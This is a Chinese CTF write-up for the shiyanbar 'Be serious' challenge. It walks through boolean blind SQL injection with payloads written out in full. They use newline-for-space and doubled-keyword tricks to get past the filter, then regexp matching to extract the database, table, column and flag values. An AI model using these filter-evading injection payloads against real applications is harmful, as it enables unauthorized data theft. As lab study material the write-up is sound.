认真一点!--实验吧--盲注、绕过过滤

0x01 前言

记录一下这道ctf,参考了Pcat大佬的wp。这道题考察了SQL盲注的技巧,以及绕过过滤的一些技巧,比较有意思的!

0x02 进入题目

1.题目给出的是一个文本框,我一看到这个文本框就想起了sqli,非常感谢sqli这个环境,让我学到了不少关于SQL注入的知识!回到题目,我们分别输入1和2进行测试。
输入1,返回“You are in ……”
输入2,返回“You are not in ……”
很明显,输入1,SQL语句正确执行。输入2,SQL语句执行失败。

输入2ggyao,返回“You are in ……”,即SQL语句正确执行,因此可以判断是字符型注入。如果SQL语句执行失败,则为数字型。
我们也可以使用1+1进行测试,如果返回的是id=1是字符型,返回id=2的结果是数字型。

2.使用单引号进行测试
认真一点!--实验吧--盲注、绕过过滤_第1张图片语句执行错误,证明单引号没被过滤。

在这里我们可以在id=1后面输入一些字符,测试一下哪些字符被过滤。
初步测试 ^ # , ; and union 空格 被过滤,当然还有一些没有测试的字符。

3.接下来我们就要想办法,在不触发过滤的情况下判断出注入点。
由于空格、and、%等被过滤,因此我们在构造payload的时候不能注释掉后面的SQL语句,只能想办法闭合,还有就是要想办法绕过空格的过滤。

payload:id=1'%0aor%0a'1'='1

认真一点!--实验吧--盲注、绕过过滤_第2张图片
我们使用%0a绕过空格过滤,通过单引号闭合SQL语句。but,再次返回“You are in ……”,额额,这里试下双写or。
成功绕过。
认真一点!--实验吧--盲注、绕过过滤_第3张图片
判断注入点:

payload:id=0'%0aoorr%0a'1'='1

认真一点!--实验吧--盲注、绕过过滤_第4张图片

payload:id=0'%0aoorr%0a'1'='2

认真一点!--实验吧--盲注、绕过过滤_第5张图片
4.接下来我们判断一下数据库名称的长度。

payload:id=0'%0aoorr%0alength(database())%0a=%0a'1

我们可以将1设置为变量,发送到burpsuite的intruder模块进行爆破。
认真一点!--实验吧--盲注、绕过过滤_第6张图片
认真一点!--实验吧--盲注、绕过过滤_第7张图片
得到数据库名称的字段长度为18。

5.爆破数据库名,我们在这里可以使用regexp正则注入,但是^被过滤了,不能从前往后开始匹配了, 并 未 过 滤 , 因 此 我 们 可 以 使 用 并未过滤,因此我们可以使用 使从后往前匹配。
匹配数据库的最后一位:

payload:id=0'%0aoorr%0adatabase()%0aregexp%0a't$

认真一点!--实验吧--盲注、绕过过滤_第8张图片

最后一位为:d
我们可以使用此方法,从后往前,直到匹配出完整的数据库名,注意名称中有_字符。
最后得到完整的数据库名为:ctf_sql_bool_blind

6.爆破表名。
匹配表名的最后一位:

payload:id=0' or (select (select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1) regexp 'r$') or 'xx'='

–>

id=0'%0aoorr%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainfoorrmation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a1)%0aregexp%0a'r$')%0aoorr%0a'xx'='

认真一点!--实验吧--盲注、绕过过滤_第9张图片
爆破出表名的最后一位为:s
最后爆破出表名为:fiag、users

7.爆破列名。

payload:id=0' or (select (select group_concat(column_name) from information_schema.columns where table_name='fiag' limit 1) regexp 'd$') or 'xx'='

–>

id=0'%0aoorr%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainfoorrmation_schema.columns%0awhere%0atable_name='fiag'%0alimit%0a1)%0aregexp%0a'd$')%0aoorr%0a'xx'='

认真一点!--实验吧--盲注、绕过过滤_第10张图片
爆出字段名的最后一位为:g
爆破出完整的字段名为:fl$4g

8.爆破字段内容

payload:id=0' or (select (select group_concat(fl$4g) from fiag limit 1) regexp 't$') or 'xx'='

–>

id=0'%0aoorr%0a(select%0a(select%0agroup_concat(fl$4g)%0afrom%0afiag%0alimit%0a1)%0aregexp%0a't$')%0aoorr%0a'xx'='

认真一点!--实验吧--盲注、绕过过滤_第11张图片
爆出最后一位内容为:}
爆出的完整的字段名为:flag{haha~you win!}

你可能感兴趣的:(CTF,实验吧,CTF,盲注,绕过)